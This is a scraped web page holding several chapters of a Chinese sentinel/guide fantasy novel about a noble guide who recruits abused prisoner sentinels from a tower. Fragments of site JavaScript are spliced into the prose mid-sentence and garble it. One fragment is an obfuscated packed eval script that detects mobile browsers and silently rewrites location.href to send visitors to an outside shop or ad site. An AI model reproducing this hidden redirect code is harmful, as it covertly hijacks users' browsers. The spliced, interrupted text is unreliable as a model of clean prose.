往日耀眼夺目的金发被剪得破破烂烂,只能从头发的光泽上勉强看出主人对于自己头发的爱惜。 昏暗无光的房间里,海蛇哨兵仰躺在地板上,身上布满着密密麻麻的瘀伤,手腕处是渗着血迹的勒痕。 对方双眼紧闭,眼角闪烁着星星点点的光芒—— 直到墨兰靠近,他才认出,这是海蛇哨兵脸上长出的鳞片。 按照医学专业书上说,在情绪波动的情况下,特种人的身体会出现小部分“兽化”现象,大多是兽耳兽尾,不需要特别控制,这些“兽化”特征就会渐渐消失。 但海蛇哨兵明显不属于这种情况。 他已经昏死过去,对外界的碰触没有任何感知。 哨兵嘴角溢着一丝鲜血,墨兰扒开对方的嘴,看到上颚靠前的位置上,对称有着两个血淋淋的洞。 看守的脸色很差,用不耐烦的口吻命令墨兰赶紧对哨兵进行精神体治疗,无论如何也要让对方活下去。 那天,墨兰一直进行了十二个小时的精神链接,最终才勉强将对方的命捡回来。 事后,看守警告墨兰,不要出去乱讲话,他的情况看守一清二楚。 墨兰聪明伶俐,他自然知道自己似乎发现了什么见不得光的事情。 但他不敢轻举妄动。 看守说得没错,他对自己的信息了如指掌,可墨兰甚至连看守背后站着的人是谁都不清楚。 在这样悬殊的实力差距下,墨兰选择表面佯作臣服。 如今,事情终于出现了转机。 一位来自军部的年轻少校,虽然有压榨后辈、偷懒耍滑的嫌疑,但看起来至少不像是个坏人。 也不知道以对方的能力,能不能同看守背后的人抗衡。 墨兰真的很想救那名哨兵。 他们可以死去,但至少不该死在这里,以这样的身份与模样。 神游之时,办公室广播突然发出震耳欲聋的警报声。 急促的警笛在塔的上空久久回荡,墨兰愣了半天,才意识是塔内关押高等级哨兵的区域出了情况。 等等。 少校说过,他下午要去那里选哨兵的吧? 墨兰扑腾一下从椅子上鲤鱼打挺站起。 糟了。 他用力抹了把脸,头也不回,撒开脚跌跌撞撞地往外冲。 * “您也太兴师动众了。” 白成渊歪着头,靠坐在真皮沙发上。 不远处,是神色苍白宛若死人的看守员。 场面一度有些尴尬。 本该趾高气昂的看守恨不得躲进一旁的墙缝,全副武装拿着家伙事的士兵一拥而上堵着门口。 而最该感到畏惧的向导,却摆出一副主人姿态,神色平平地注视着众人。 “屋子有点小,你不介意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给我换个更干净宽敞的吧。” 白成渊突然开口。 众人找了一圈,也没发现他是在同谁说话。正在疑惑之际,只见地上的看守打了个激灵,立刻回答道: “当、当然,您请随意。” 众士兵惊疑不定。 这还是那个习惯对他们大呼小叫、趾高气昂的家伙吗? 喂喂,你平日不是最喜欢威胁别人吗? 你喊我们过来,难道就是为了看你吃瘪的模样吗? 看守早就顾不得别人的目光了。 因为他从对方扔在地面的手帕上,看到了一个用金丝绣得龙飞凤舞的“白”字。 配得上这种家徽的,全帝国找不出第二家。 完了。 真的完了。 他面色灰败。 看守一点点拱起身子,趴伏在地面上,不敢说一句话。 白成渊也像没看见他似的,正打算从他身边绕过。 “等等——!你们快住手!!” 人群后面突然传出了一声怒吼。 墨兰拼了命地挤开围堵在房门口的士兵,刚把脑袋伸进来,就看见了满手血迹的向导。 到底还是迟了一步。 墨兰痛心疾首,捶胸顿足。 他早该知道,单凭一个军部的少校,哪里敌得过这群人多势众的家伙。 “你们——你们真是太过分了!!!” 墨兰跑到白成渊面前,一把将他拽入身后。如同一只老母鸡张开双臂,将足足比他高了一头的向导护在身后。 “别、别以为你们人多,我们就怕你们!” 墨兰梗着脖子,粗声粗气地大吼,可眼睛却在偷偷寻找可以逃跑路线。 他向前迈了一步,正打算发表一番慷慨之词批判对方的恶行,却被脚下的东西绊得一个趔趄,多亏身后的白成渊及时拉住了他。 “什么东……看、看守?” 墨兰痛得呲牙咧嘴,低头一看,只见看守正哭丧着脸,凄惨的简直不忍直视。 墨兰脸上的表情空白了一瞬。 他环顾四周,发现现场和他想象的有点不太一样。 “你怎么样?” 他转头看向理所应当躲在他身后的向导。 白成渊耸了耸肩膀,表示自己并无大碍。 墨兰冷静。 墨兰思考。 墨兰不理解。 他揉了揉自己的眼睛,不可置信地指着对方的手臂,“这难道不是你的血吗?” 白成渊回忆着看守的话,严谨更正道:“是‘血色玫瑰’。” 墨兰:“……啥?血什么玫瑰?” 白成渊:“一瓶六万的葡萄酒。” 墨兰点头,表示自己了解了。 原来是葡萄酒,吓了他一跳。 “……葡萄酒……嗯?葡萄酒?六万?!” 一个月工资三千,勉强可以温饱的墨兰,脸上的表情终于裂开了。 19. 观察 现在,屋内的氛围有些古怪。 由于之前的房间被弄脏了,白成渊被换到了另一个更大更宽敞的屋子。 他和墨兰并排坐在沙发上,观看大屏幕中哨兵们的表现。后者老实地将双手摆放在膝盖上,活像是上课认真听讲的小学生。 如果不是房间中央摆放着一张硕大无比的两米五双人床,白成渊应该会更加自在一些。 看起来就好像是他俩误入了什么不可言说的情趣酒店。 “我要见这几名哨兵。” 白成渊将自己记下的名字发送给了墨兰。 自从刚刚的闹剧过后,看守就像被毒哑了一样一声不吭,无论白成渊说什么都一股脑儿应下,鞍前马后,生怕他不满意怪罪下来。 身边围着乌泱泱的一圈人,白成渊眼见心烦,挥手将他们全部赶了出去,只留下墨兰接替看守的工作。 墨兰坐在旁边,不安分地变动着姿势,时不时还偷偷将目光瞟向白成渊。 “……去把他们几个叫上来。” 见墨兰置若罔闻,一脸思考人生的模样,白成渊只好耐心地又重复了一遍刚刚的话。 “啊……好。” 墨兰也是第一次进入这个地方,根本不会操控屏幕上的按键。 他将白成渊的话原封不动地用终端发送给看守员,还贴心地附上了这些哨兵的名字。 几分钟后,门外响起了敲门声。 白成渊走到一旁的柜子里简单翻找了一下,从抽屉中找出了两张面具,一张扔给了墨兰,另一张戴在自己的脸上。 “进来。”他隔着面具闷声道。 门被轻轻推开,士兵手握着激光枪,逼迫这八名哨兵缓缓走进来。 看得出来,看守很害怕白成渊会被这些粗鲁的哨兵伤害,恨不得将这群哨兵五花大绑,让他们完全丧失反抗能力。 哨兵的脖子上佩戴的腺体抑制器正闪烁着红光,表示抑制器正在高强度地运行。 每个人的双手都被特殊材质的绳子紧紧捆绑,脚铐被铁链连接成长长的一串。 这样最大限度地影响了哨兵们的行动,为了不被其他人的动作绊倒,他们不得不迈着碎步向前挪动。 很快,八名哨兵在白成渊面前站成一排。 这一次,两位士兵并没有退离房间。 见白成渊默许他们的存在,两人都暗暗松下一口气。 他们后退两步站在一旁,保证在这些哨兵暴起的瞬间就能冲上去将他们制服。 毕竟,谁也不敢赌这群野兽会不会在贵族面前突然发疯。 “跪下。” 其中一名士兵低声呵道,见哨兵们全部无动于衷,便习惯性抬脚踢向其中一人的膝弯。 用力踢腿的瞬间,哨兵故意绷直了自己的肌肉。他在惯性的作用下向前迈了半步,脚腕的铁链骤然抻直,膝弯却不见任何弯曲的趋势。 而士兵的表情却扭曲起来,捂着脚连退两步。 刚刚踢出的一脚,就像是踹在了坚硬的岩石上。 他有些恼羞成怒,打算持枪上去给对方一个教训,却被白成渊出声制止。 “不必了。” 他将头扭过去,看向了那名哨兵。 只见对方的右脸有着一道极长的疤痕,横跨鼻梁直至左脸中间的位置。 白成渊将他的形象,同自己看到的资料逐渐对应起来。 可以随时硬化自己的皮肤,这是白成渊选择他的主要原因。 哨兵的精神体是犀牛,兽化后的皮肤坚硬无比,根据资料显示,他甚至扛得住匕首的穿刺。 就是不知道对方兽化时,脸上会不会长出犀牛角。 八名身强体壮的哨兵站在一起,如同一面高大的墙壁,投下大片阴影,给坐在沙发上的墨兰带来了巨大的压迫感。 他们面无表情地看着白成渊,用无声的沉默表达抗议。 白成渊好像丝毫没有察觉到哨兵们的敌视,在这群最矮都有一米九的壮汉们的注视下,自在地翘起了二郎腿。 一旁的墨兰偷偷打了个哆嗦,不禁心生敬意。 不愧是数字哨所的指挥官,果然心理素质就是强悍。 不对。 墨兰在心里补充,对方不仅是数字哨所的指挥官,更是当年荣光军的一员。 要知道,当初跟着一起反抗哨兵统治的家族,如今都成为了帝国数一数二的顶级权贵。 韩家、李家、白家、刘家……以及身为皇族的姜家,这八个家族,可以说是蒙多国只手遮天的存在。 墨兰对于贵族的认知没多么深刻,但毫无疑问,对方就是当初荣光军的一份子,那可是荣光军,受万众敬仰的荣光军。 他的思维有些发散,混乱地想到,黑色动乱持续了两年时间,算下来,对方在16岁的时候,就已经在战场上和敌人厮杀了。 联想起16岁时自己还在白塔内为了顺利毕业而苦苦挣扎,墨兰不禁有些汗颜。 “想去十一号哨所吗?” 白成渊轻点桌面,环视着在场的哨兵。 站在最右侧的白发哨兵突然一声嗤笑。 他眯着双眼,居高而下地看着沙发中央,明显是掌权者的家伙,眼神阴郁地讽刺道: “你们哪次决定询问我们的意见了。” 白成渊对于这样的挑衅无动于衷。尽管知道对面看不见他脸上的表情,但他还是微微一笑, “这倒是真的。” “不过,我还是想知道你们的看法。” 不待对方发表意见,白成渊就悄无声息地释放出了自己的精神触角,同时将利与弊开诚布公地摆了出来, “你们是想去哨所保卫边境,还是在这里每日与队友自相残杀。” “就算待在这里,也要好过去哨所吧。” 一名沉默寡言的中年哨兵突然开口: “十一号哨所可是数字哨所,去了那里,整日都要面对死亡的威胁。” “孬种,我可不像你一样贪生怕死。”白发哨兵冷笑着,“但我凭什么要替你守卫哨所。” 精神触角悄无声息地延伸到这些哨兵的身边,感知着对面的真实情绪。 墨兰仅仅察觉到身边似乎有精神力的波动,下一秒,这种怪异的感觉就凭空消失了,再也无法探查。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他猜测是白成渊释放出了精神触角。 上一次对方精神力失控时,墨兰轻而易举就发现了对方偷听的精神触角。 他以为白成渊对于精神力的控制不过如此,却不曾想,在对方刻意的压制下,精神触角的释放可以变得这般隐秘。 若不是他时刻关注着身边的向导,只怕也会如同在场的哨兵一样,精神触角已经摸到了脚边,整个人却全然不觉。 这要是在战场上,只怕下一秒就会被触角绞杀。 真是变态的控制力。 墨兰越发安静如鸡,努力减少自己的存在感,不打扰白成渊的控场。 “这可不仅仅是为我,”白成渊真诚补充道,“而是我们。” 他指了指对面,又指向屏幕上依旧困在擂台中互殴的哨兵们,“我们都是这个国家的一员。” 白发哨兵的脸上明显还留存着不服气的神情,可他却退后半步,不再说话。 白成渊双手交叉放在膝上,动作舒缓轻松。 “好了各位,我给你们做出选择的时间。” “我不需要阳奉阴违的人,你们完全可以做出自己的选择——留在这里,兴许要待上一辈子;或者跟着我离开,即使以命相搏,也要守住哨所。” 他比了个“请”的动作。 士兵接收到命令,转身要将这群哨兵带离房间。 “截止时间是什么时候?” 队伍里突然有人问。 “傍晚之前。”白成渊看了眼终端,嘴边扬起一抹浅笑, “在晚饭前,你们随时都可以修改自己的决定。” 众人离开房间后,只剩下了白成渊和墨兰。 他轻轻舒气,收回了精神触角。 “结果怎么样?”墨兰好奇地探过头。 白成渊摘下面具,揉了揉额角, “犀牛、雪豹、赤獴、白灵熊……感觉我好像开了一个动物园。” “不过,我还真发现了一个问题。” 墨兰:“是那名不愿意去十一号哨所的赤獴哨兵吗?” “不。恰恰相反,他虽然嘴上这么说,可其实心里已经动摇了许多。” 白成渊拿起桌上的水杯一饮而尽,缓解喉咙的干渴。 “站在最靠门口的两名哨兵,从头到尾都表现出了极度的配合。” 虽然语气轻松,可他眼中的情绪深不见底。 “他们看似最先动摇,实则心里的恶意比其他任何人都大。” 此话一出,墨兰顿时目瞪口呆。 “……不是,他们这么做有什么好处吗?” “谁知道呢。”白成渊的表情有些阴沉, “迫不及待地想要通过低劣的肢体语言博取我的信任,可脑子里的恶意冲得收都收不回去。” “去帮我查查他们的底细。” 白成渊看向墨兰。 墨兰看着那双翻涌着不知名情绪的眼眸,一时间有一种自己也在被评判的错觉。 他一个激灵从沙发上跳起,下意识伸手敬了个在白塔求学时期的军礼。 “报告长官,保证完成任务。” 20. 选择 “喂,你不会真要听那家伙的话,去数字哨所送死吧?” 离开房间后,被士兵带去看守室的路上,队伍里灰发哨兵故意用被绑的双手撞了一下前面的人,小声询问。 前面那人正是离开之前,主动询问白成渊截止时间的薮猫哨兵。 岩守低头盯着自己的鞋尖,跟着队伍慢慢踱步向前。听到身后人的询问,他停顿片刻,随后低低应了一声。 “我靠,你疯了吧?!” 佘黎不可置信地瞪大了双眼,下意识就想挠自己的头,却被身上的绳子束缚了手脚。 “操,迟早把这些玩意儿摘下来塞他们嘴里去。”他低声骂道。 见岩守一门心思想要离开,他又连忙抬头,跟在对方的身后苦口婆心地劝说: “何必呢,你总不会是活够了想去找死吧?” 二人已经相识了三年有余,虽然平日没什么私下接触的机会,但佘黎自认为是岩守在塔内唯一说得上话的朋友了。 说实话,塔内哨兵们的关系一直都不太亲近。 一方面是由于哨兵争强好胜的天性使然,轻易不愿与他人交好;另一方面,也是因为塔的擂台机制。 两人说不定今天刚成为朋友,等明天再见面,就被迫成为了一个擂台里的敌人,只能困在笼子里自相残杀。 互殴这种事情太伤感情,强大的一方无可奈何,只能眼睁睁地把对面打到失去反抗能力。 不存在任何的怜悯与同情。 哨兵们的战斗信息早就被塔内的人工智能采集过,一旦被检测出在擂台里消极对抗,就会面临着严厉的处罚。 情节严重者甚至会被直接拖出去执行死刑。 并且,哨兵们每天的训练量都是依据他们前一天的成绩制定的。 得了前几名的人可以早早结束训练,尽情吃饭的同时还能得到休息时间。 而末位的哨兵面临着望不到尽头的加训,等到训练结束,累得浑身都快散架,连残羹剩饭都没得吃。 岩守和佘黎的能力不算拔尖,但好歹在这批哨兵中处于中上游的位置。 就算不去数字哨所,在塔内也能好好生活。 佘黎不知道为什么那名戴着面具的男人会恰好选中他俩,但既然他给了他们拒绝的机会,佘黎自认为只要不是傻子,就绝不会选择去十一号哨所。 拜托,那里可是战场。 死得快不说,待遇也不见得会比塔内好多少。 “你不会真想去送死吧?” 佘黎心里顿时升起不好的预感。 “……嗯。” 前面飘来了岩守低哑的声音。 “……我受够这里了……如果非要和别人争个你死我活,那我宁愿战死前线。” “喂——” 佘黎还欲说话,却被突然横过来的甩棍挡在了面前。 “不许讲话。” 士兵恶狠狠地瞪着他,随后环视周围,用眼神警告着在场的哨兵。 “算你们走运,按照阁下的命令,你们可以不参与今天的‘自由活动’。好好考虑吧,别不识好歹。” “有人愿意将你们这些无用的野兽选走,你们还不快感恩戴德。” 士兵冷笑一声,将这些哨兵依次赶进隔间里。 “两个小时后,愿意去哨所的跟我走。至于不愿意的……” 士兵的声音染上了一抹幸灾乐祸的意味,他不怀好意地打量着这几个难啃的硬骨头。 “听说过几日有个大人物要来这边,他可是有些奇怪的癖好,已经玩死了好些个。到时候就把你们送过去伺候,可别怪我不留情面。” “嘭”的一声,士兵用力合实了大门,输入了电子锁的密码。 看了眼身后空荡荡的走廊,他撇头吐了一口痰,心里盘算着晚饭要吃些什么。他嘴中哼着难听的歌曲,跑调的声音似野猪嚎叫般尖锐。 士兵离开后,无人注意的阴影里,一只黑色的乌鸦蹦跳着出现在了牢房前。 乌鸦的黑眼珠折射出面前高大的防弹门,光滑水润的羽毛在灯光的照射下呈现出一种绚丽斑斓的黑。 它两边的翅膀上各夹着一小片白羽,看起来格外显眼。 在电子监视器例行扫描检查的前一刻,乌鸦骤然拍打起了翅膀。 下一秒,它的身体如烟雾般消失在了空气中。 * 档案室内。 墨兰从堆积如山的档案中翻找出了需要的文件。 这里平时鲜少有人出入,他也是向组长申请过权限后,才进入到这里。 墨兰拍拍档案袋上的灰尘,被腾起的灰尘刺激得连打了三个喷嚏。 顾不得收拾沾满灰尘、脏兮兮的衣服,他走到旁边的空地上,将档案袋上的电子锁用终端权限刷开。 明明只要拜托洛基帮忙查阅就好,可白成渊却坚持让墨兰亲自跑一趟。 好在听说是指挥官的要求,组长爽快地给了墨兰终端的权限。 虽然墨兰一度怀疑组长是在听到指挥官的贵族身份后,态度才有所转变的。 不过只要不影响他查阅档案,这倒也不算什么。 “让我看看……罗十六、罗十七……嗤……” 看到档案上记载的名字,墨兰一下笑出了声。 哪有人会给自己的孩子取这种不负责任的名字啊。 更何况这两个名字的主人,可是看起来能一拳打死一个普通人的孔武有力的哨兵。 然而下一秒,看清楚档案内容后,墨兰脸上的笑容瞬间僵住了。 “……亲兄弟……幼时父母双亡……在北山孤儿院长大……” 怪他嘴欠。 墨兰怔怔地看着档案上记载的内容,有种想给自己两巴掌的冲动。 …… “……罗十六、罗十七曾一同在塔内学习,其中,哥哥罗十六尤其擅长暗杀术,在精神体蝙蝠的辅助下,可以在黑暗环境内不碰到任何物体,悄无声息地将任务目标抹杀。” “弟弟罗十七的实战能力较差,但擅长伪装易容,精神体是变色龙……” “……两人曾连续完成五次刺杀任务,对于这些犯罪事实,两人均供认不讳。死去的向导中,有四位曾是贵族身份……” “……以上就是我在档案里收集到的内容。” 墨兰将自己的发现汇报完毕,眼巴巴地看向了正在用终端处理事务的向导。 白成渊将编辑好的信息发送之后,才抬头看向了墨兰。 “干得不错。” 他先是向对方认真的工作态度表达了认可,而后提出疑问: “不过……你确定没有遗漏的部分?” “那是自然。” 墨兰连忙拍胸脯保证,“所有哨兵的档案都是一式两份记录保存的,一份储存在档案室内,由专人定期检查,另一份则是电子文件,交由洛基保管。” 白成渊回忆着档案上的内容,里面记载的内容大多都是兄弟两人在孤儿院时的经历,后来兄弟两人被好心人收养,相关的信息也就断了。 等到兄弟两人再次出现,已经是他们觉醒为哨兵进入塔就读的时候了。 单从这段经历来看,兄弟俩顶多算是在某些方面较有天赋的哨兵。 直到黑色动乱后期,哨兵政府解散,兄弟两人因为暗杀多名向导,而被审判所起诉。 从毕业到被起诉的这段时间里,中间足有好几年的空档,两人的踪迹却仿佛从世界上彻底抹去了一样。 “你打算如何处置这两人?总不能就这么放任这两个可疑的家伙进入哨所吧?” 墨兰的脸上满是焦急,抓耳挠腮,恨不得替白成渊把那两个可疑分子给举报了。 他看向桌子对面的向导,对方正闭目养神,两条长腿交叠在一起,双手交叉安详地摆放于胸前。 如果不是对方胸膛的起伏频率没有变化,墨兰甚至怀疑对方已经睡着了。 按照向导必修的行为心理学来说,他俩现在的情况,完美地诠释了什么叫做皇帝不急太监急。 “我会让他们如愿进入哨所的。” 白成渊轻飘飘的一句话,让墨兰的小心脏差点为此骤停。 “……哈?” 墨兰以为自己听错了。 “……不是,”他挠了挠头,“他俩档案有那么大的问题,但凡是个正常人,都不会愿意让他们进入哨所吧。” “对啊,这就是问题所在。” 白成渊点头,“连你都能看出来这个档案有问题,那为什么对方还要任由这个破绽存在呢?” “是生怕别人不知道这两个家伙有问题吗?” 现在,换墨兰听不懂了。 “……你该不会是说,对方是故意留着这个破绽的吧。”他那清澈见底的眼中短暂地出现了茫然的神情。 白成渊脸上露出一丝赞扬的表情,“很有可能。” 然而,话音刚落,他又摩擦着下巴,缓慢吐字道:“也不能排除对方很了解我,知道我会故意让他们进入哨所的这种情况。” “……” 墨兰:? 他感觉自己的头有些晕。 这就是在套娃,没错吧? * 晚上六点二十分,士兵准时推开了看守室的大门。 “你们考虑得怎么样了?”他将钥匙抛在手里,眼神阴毒, “考虑好了的,就过来找我。过了这村,可就没这店了。” 短暂的沉默后,岩守第一个站了起来。 “我愿意去。” 他拖着脚上的镣铐,慢悠悠地走到了士兵的身边。 士兵挑眉看了他一眼,瞬间明白了他心里的想法。 “行,找死也行。”他不屑地冷笑着,“只要不死在塔里,你们爱怎么样怎么样。” 他转头扬声询问:“其他人呢?” “哎呀,我也去!”佘黎一跺脚,咬着牙站了起来。 岩守听到这熟悉的声音,不可置信地瞪大了眼睛,讷讷道:“你没必要跟着我一起去的。” “呸,少自作多情了。” 佘黎看起来对十一号哨所还是有些恐惧的。他面色微微发白,硬撑着道:“塔里那些软蛋根本打不过我,还不如去十一号哨所玩玩。” 说话的功夫,又有三个哨兵走了出来。 “还有三个人没表态。”士兵看着终端上的时间,大声念道: “时间还剩半分钟。” “我们两个也去。” 一直以来沉默寡言的哨兵站了起来,在他身后,与他长得有几分相似的哨兵一同站了起来。 这两人正是罗十六和罗十七。 至此,只有最初反驳白成渊的白发哨兵依旧抱着手臂,冷眼看向众人。 “……最后十秒。” “十、九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13877691|146920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、八……” “四、三——” “不用念了,我去。但我要求在离开之前,再见一面那个人。”白发哨兵终于缓缓道。 “开什么玩笑。”士兵一脸不耐烦,听闻此话翻了个白眼,“你以为你是谁?相见就见?” 白发哨兵被这话激得有些恼火,但依旧冷静地说: “我必须要见他一面,不然我是不会去哨所的。” “……” 见对方如此冥顽不灵,士兵十分气恼,一股无名火瞬间燃烧起来。 “就你废话多,信不信我现在就处死你。” 他最近刚好有些手痒,正愁没靶子。见此情况,他立刻抽出配枪,枪口正对着哨兵的胸膛。 一想到这么一个漂亮强大的哨兵即将死于他的枪下,士兵心里不由得升起一阵激动的战栗。 其他哨兵见他掏出了枪,神色立马警惕起来,纷纷贴着墙壁后退,寻找到最佳的攻守地点。 “哎、哎……还是算了吧。”不远处,另外一名士兵见氛围不对,连忙上前劝阻。 “事情闹大了,你我都没好下场。” 一句话,将对方的理智拉回了现实。 “……就凭他这样的人,也配去见贵族大人?”士兵颇为不痛快地收起了配枪。 “这就是你不懂了。”另一名士兵小声问: “你猜猜为什么那位大人愿意给他们选择的机会?” 见对面的榆木脑袋一时半会想不清楚,他直言不讳:“因为这样才有征服欲啊!” 他趁热打铁道:“大人物最缺什么?他们什么都不缺,就缺一个新鲜感。平时大家都不敢忤逆他们,冷不丁出来一个特殊的,说不定还有机会借此向上爬。” 最初动怒的那名士兵听闻此话,大感震惊。 “你是说,大人物们就缺忤逆他们的对象?” “你还是见的太少了。” 另一名士兵万分笃定,“电视剧里都这么演的,说不定这小子就入了那位大人的眼呢。” 两人把头凑在一起嘀嘀咕咕说了好久,全然不顾在场的哨兵都能听得一清二楚。 “那好吧。”士兵看向白发哨兵,选择了退让。 “我帮你问问,不过,我可不敢保证那位大人愿意见你。” 得到了对方的应允,白发哨兵顿时松了口气。 如果不是被逼无奈,他又怎么愿意向这群人低头。 他用力握拳,指甲在手心留下深深的痕迹。 再忍一忍,很快就好了。 * “你是说,有一名哨兵要见我?” 白成渊有些惊讶。 他不认为这些哨兵有什么见他的理由。 在好奇心的驱使下,他同意了对方的请求。 白成渊戴上之前的面具,确认没有任何遗留在外、可以确认身份的痕迹后,淡淡说道: “请进。” 被两位士兵同时架枪威胁的白发哨兵走了进来。 白成渊一眼就认出,这名哨兵是下午出声反驳他的那个。 虽然如此,可白成渊却丝毫不意外对方加入哨所的决定。 正如精神触角传达给他的感觉一样,白发哨兵只是不满意向导和塔而已。 他认可自己帝国人的身份,自然也愿意为了守卫边境而奋战前线。 既然如此……对方为什么非见他不可呢? 他沉默不语,手指敲着沙发扶手,极有压迫感地看着对面。 白成渊确实将精神力的控制达到了出神入化的地步。 他可以在无形之中释放精神力,从而对周围人的精神状态进行干扰;自然也可以通过精神暗示的方式,让对方陷入到巨大的恐慌或者压力之中。 白发哨兵果然很快就败下了阵。 只是这一下,就几乎将他的傲骨全部抽出。 “我请求您帮助我。” 就像抓住了最后的救命稻草一样,白发哨兵的神色满是乞求。 他看向白成渊,见对方没有不耐烦的意思,咬牙继续道: “我认识一名哨兵,他的战斗力与精神力都在我之上,绝对可以在塔内的哨兵中排名前十。如果可以,请求您让他也成为您的部下。” 这…… 可真是出人预料。 白成渊的脸上出现了些许惊讶的神情,只可惜这些细微的变化都被面具遮挡住,看起来就像是毫不在意这些无关痛痒的小事。 然而,两位士兵却顿时不镇定了起来。 这小子也忒胆大包天了! 贵族的决定什么时候容许他人置喙? 在众人面前,白成渊如同一尊雕塑,虽然惜字如金,但极其强大的气场压迫着在场的所有人都无法将他忽视。 连本该事不关己的士兵都不由得吞了吞口水,担心因为哨兵的鲁莽而被贵族大人迁怒。 “为什么?”白成渊饶有兴趣地问。 “你和他认识吧?” “……对。”白发哨兵知道自己早就没了退路,只能放手一搏。 “他在半个月前就被带走了,可我知道,他还在这座塔内!” 哨兵高声嚷道: “他叫段麟,是一名海蛇哨兵!” 此话一出,两名士兵从对方的眼中看到了自己惊惧的神情。 完蛋了。 两人心里不约而同地想到。 21. 通牒 “你在胡说些什么?!” 旁边的士兵最先反应过来,举起枪托冲着哨兵的脸抡圆儿砸去。 碍于脚铐的束缚,白发哨兵一时躲避不及,脸在重击之下狠狠偏向另一侧,白成渊甚至听到了细微的骨裂声。 “滴答。” 深红的血液蜿蜒流淌,顺着哨兵的下巴滴落在地面上。 两名士兵七手八脚地拉扯着哨兵,同时还不忘安抚白成渊: “这个哨兵简直疯了,居然敢在您面前胡言乱语。请您原谅,我们现在就把他押下去,免得扰了您的清净。” “我没疯!” 眼看就要被士兵强行拖拽离开,哨兵目眦尽裂,挣扎着高声嘶吼: “我真的看见他的精神体了!我没说谎!” “真是不见棺材不落泪!” 士兵原本还有些懊恼,见此情景,眼神渐渐泛起了阴鸷,双手用力扣住了哨兵的脖颈。 下一秒,抑制器被开到最大限度,哨兵的身体肉眼可见地颤抖起来,电流窜过四肢百骸,牙齿发出“咯吱咯吱”的声响。 “……救……救救他……” 剧痛之下,哨兵的兽化状态凸显出来,幽蓝的竖瞳缩成一条细缝,直勾勾地盯着白成渊。 士兵正欲举起激光枪解决这个麻烦精,手腕却被巨大的力道狠狠攥住,无法挪动一分一毫。 疼痛之下,右手一松,激光枪应声落地。 白成渊不知何时出现在他身边,干脆利索地将枪踢进沙发底下,而后将士兵的双臂反剪在背后,将他彻底制服。 失去支撑的哨兵踉跄着向前扑去,白成渊将士兵扔向一边,拉住哨兵解除了抑制器的惩罚模式。 白发哨兵得到解放,猛地跪在地上,痛苦地蜷缩起身体大口呼吸。他的胃部剧烈抽搐,下一秒就干呕起来。 “您这是在做什么!” 另一名士兵见状惊呼,“根据帝国法律,我和我的同伴拥有行刑权!” 他还欲继续说下去,却被修长的手指抵在了面前。 “谁允许你动我的哨兵的?” 白成渊站在场地中央,注视着士兵。他的声音有些平淡,可任谁都能听说他话语中翻涌的怒意。 “我都还没说什么,你们两个就急着杀人灭口了?” 他淡淡开口,一股堪称恐怖的压迫感骤然横扫了整个房间,气势汹汹地碾过在场每一个人的神经。 近乎实质的压迫感带着强烈而直白的威胁意味,随着他的话语愈演愈烈。 明明身边空无一物,可士兵却感觉自己的身体被某种无形的力量束缚住,丝毫无法动弹。 来自心灵深处的战栗与恐惧将他未说出口的话完全压进了喉咙里。四肢的血液仿佛被寒意冰冻,即使想要逃跑也无计可施。 快跑!快跑! 野兽的直觉在脑海中炸响,白发哨兵捂着脖子抬头,下一秒瞳孔狠狠一缩。 只见数十条光滑巨大的触角缓慢从地面爬过,每一条都有半米宽,如同远古时期沉睡的巨蟒,被胆大妄为的凡人扰醒,暴跳如雷地盘踞在屋内每一个角落。 十几平米的屋子在这些触角的衬托下下显得格外拥挤,似乎下一秒就要被触角撑爆。 而这些触角尖端,正抵在士兵喉咙与心脏的位置。 这、这真的是向导能够做到的程度吗? 白发哨兵不可置信地张大嘴,愣在原地。 他的心中甚至升不起一丝反抗的想法。 在这样的巨物之下,他唯一能做的,只有乞求对方的原谅与宽恕。 几人相持不下,又或者说,剩余三人都在观望着白成渊的举动。 “啊……好久没这么做了。” 白成渊像没事人似的直起身体。 这一刻,所有人只能看清白色面具上无喜无悲的表情,如同神祈在注视着世人。 “不好意思,一时间没收住。” “见笑了。” 他单手攥着哨兵的衣领,将这至少有九十公斤的家伙轻松提起,又闲庭信步地走到被他摔在地面的士兵旁,将他扶了起来。 士兵两腿止不住地打着哆嗦,如同一滩烂泥,摇摇欲坠。 感受到白成渊的视线扫来,士兵头皮登时一麻,生怕一个不注意摔倒,就再也不用爬起来了。 “没受伤吧?” 向导轻轻拍打着他衣服上的灰尘,声音如沐春风。 士兵看起来快要吓吐了。 “对、对不起……”他语无伦次,“……错、我错了,您请……原谅我。” “呵。” 白成渊笑了起来,嗓音清冽而又好听,如同夏日山间的涓涓溪流。 然而,这道笑声落入众人耳中,却像是在宣判着众人的死期。 “开玩笑呢?” 白成渊的声音一下子冷了八个度,“老子过来选哨兵,你们这些东西连装都不装了?” 他的声音充满了狠戾,胸膛剧烈起伏。 “一而再再而三,真把我当傻子糊弄呢。” 白色的面具轰然摔在地面,象征着神仁慈的一面碎成七裂八瓣。 “我不管是谁在管理塔,什么斯诺家族还是其他的牛鬼蛇神。” “今天晚上,我要是见不到负责人,这座塔,也就没有存在的必要了。” 他面无表情,下达了最后的通牒。 * 夜晚,凛冽的寒风呼号着降临在这座被世人遗忘的塔上。 白成渊倚靠在废弃钟楼的塔尖旁,眺望着远处的荒郊野岭。他的脚下踩着屋檐的砖瓦,右手两指间夹着一支细烟,猩红的火光在黑夜里一明一灭。 终端又一次传来震动,白成渊连头都没低。 半分钟后,通讯自动挂断,新的未接提醒弹了出来。 林林总总一共有二十多个未接。 他偏头咬着香烟的滤嘴,深吸一口,薄荷的香味进入喉咙,过肺后被他缓缓吐出。 缭绕的烟雾弥漫在空中,很快就被狂风吹散。 